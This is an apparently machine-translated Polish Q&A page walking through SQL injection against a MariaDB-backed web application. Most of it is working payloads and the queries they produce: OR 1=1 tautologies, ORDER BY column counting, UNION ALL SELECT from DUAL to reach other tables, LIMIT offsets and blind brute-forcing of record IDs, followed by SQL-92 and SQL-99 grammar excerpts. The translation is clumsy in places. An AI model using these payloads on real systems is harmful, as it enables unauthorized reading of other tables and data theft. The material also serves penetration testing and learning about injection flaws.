Mysql
 sql >> Baza danych >  >> RDS >> Mysql

Wstrzykiwanie SQL MariaDb

Ok, więc bawmy się dobrze.

Kiedy patrzę na komunikat o błędzie

Zakładam, że zapytanie i kod w aplikacji są mniej więcej podobne do tego pseudomądrego, @o jest w rzeczywistości zmienną użytkownika MySQL..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

Użyję skrzypiec SQL spacji aby zasymulować test iniekcji SQL i uzyskać dostęp do innych tabel.

Możesz przetestować wstrzyknięcie za pomocą 1' OR 1 = 1# lub 1' OR 1 = 1-- oba powinny działać i powinny dawać ten sam wynik, gdy używasz 1 jako dane wejściowe. Dzieje się tak, ponieważ MariaDB automatycznie rzutuje typy dla innych baz danych, może być konieczne użycie bardziej rygorystycznej wersji 1' OR '1' = '1#

Który powinien generować

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

Lub

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Następnie, ponieważ widzisz błędy w aplikacji, możesz użyć ORDER BY 1 aby sprawdzić, ile kolumn zostało wybranych i zwiększać liczbę, aż pojawi się błąd.

Błąd:ER_BAD_FIELD_ERROR:Nieznana kolumna „2” w „klauzuli zamówienia”

Wstrzyknij za pomocą

1' ORDER BY 1# lub 1' ORDER BY 1--

Co oznacza sortowanie w pierwszej kolumnie w zestawie wyników NIE sortuj 1 dosłowne.

Generuje

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

Lub

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

Znając kolumny, możesz użyć UNION dostać się do innych stolików. Użyj NULL jeśli nie potrzebujesz wszystkich kolumn.

wtrysk

1' UNION ALL SELECT NULL FROM DUAL#

Zwróć uwagę, że DUAL jest „wirtualną” nieistniejącą tabelą w MariaDB, MySQL i Oracle, jeśli możesz zapytać o tę „tabelę”, oznacza to, że możesz również technicznie dostać się do innych tabel.

wygenerowany SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

A jeśli strona jest zaprojektowana jako strona „szczegółów”, na której jeden rekord jest zawsze widoczny, musisz dodać LIMIT 1, 1 we wstrzyknięciu.

Co jeśli nie ma widocznych błędów w aplikacji internetowej, powinieneś po prostu być w stanie ślepo bruteforce geuss za pomocą ślepych wstrzyknięć SQL i zobaczyć, jak działa aplikacja.
Wypróbuj też takie rzeczy jak ?o=0 , ?o=NULL lub bardzo wysokie liczby, takie jak maksymalna wartość INT (podpisana) ?o=2147483647 lub (bez znaku) ?o=4294967295 przed próbą bruteforce numeru użytej kolumny, aby wiedzieć, jak aplikacja obsługuje rekordy, których nie można znaleźć. Ponieważ jest bardzo mało prawdopodobne, aby identyfikator 0 lub wysokie liczby w INT datatype, ponieważ aplikacja przestanie działać, jeśli zostanie podana ostatnia liczba. Jeśli nadal otrzymujesz rekord z tymi wysokimi liczbami, użyj maksymalnych wartości dla BIGINT zamiast tego typu danych.

Dla kolumny 1 ten sam identyfikator wyniku o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

W przypadku kolumn 2, w których wystąpi błąd, ale najprawdopodobniej zobaczysz stronę błędu lub komunikat, że rekord nie został znaleziony.
Lub słodki stan błędu HTTP 404 (Nie znaleziono).
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Jeden problem, który możesz napotkać, używając LIMIT bez użycia ORDER BY może być szansa na uzyskanie tych samych rekordów, ponieważ standard SQL określa, że ​​tabele/zestawy wyników SQL są bez kolejności bez użycia ORDER BY

Więc idealnie musisz nadal używać ORDER BY 1 w brutalnych siłach.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

I

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

Obsługa baz danych dla ORDER BY 1 jest lepszy niż myślałem na początku, ponieważ działa w MySQL, MariaDB, SQL Server (MSSQL) i PostgreSQL.

Również ORDER BY 1 była funkcją SQL 92, która została usunięta w SQL 99.
Tak więc bazy danych SQL nie powinny wykonywać ORDER BY 1 więcej, jeśli będą postępować zgodnie ze standardami SQL w tym punkcie.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

w porównaniu z SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC


  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. jak usunąć ukośnik odwrotny (\) w odpowiedzi json za pomocą php?

  2. Sequelize:Korzystanie z wielu baz danych

  3. MySQL nie pozwoli na logowanie użytkownika:błąd 1524

  4. Wybieranie losowych wierszy za pomocą MySQL

  5. Wprowadzenie do indeksów SQL